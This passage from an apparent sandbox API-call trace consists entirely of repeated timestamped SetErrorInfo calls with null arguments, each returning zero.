perrinfo=0x0) returned 0x0 [0064.731] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.731] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.731] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.731] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.732] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.732] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.732] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.736] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.737] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.738] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.739] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.770] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.770] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.770] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.770] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.770] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.870] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.962] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.963] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.979] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.980] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.995] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.996] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.997] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.013] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.017] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.024] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.035] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.157] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.160] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.175] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.263] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.263] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.263] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.263] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.264] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.266] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.266] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.266] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.266] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.267] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.267] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.267] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.267] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.268] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.268] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.268] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.268] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.269] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.270] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.270] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.270] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.270] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.286] SetErrorInfo (dwReserved=0x0, 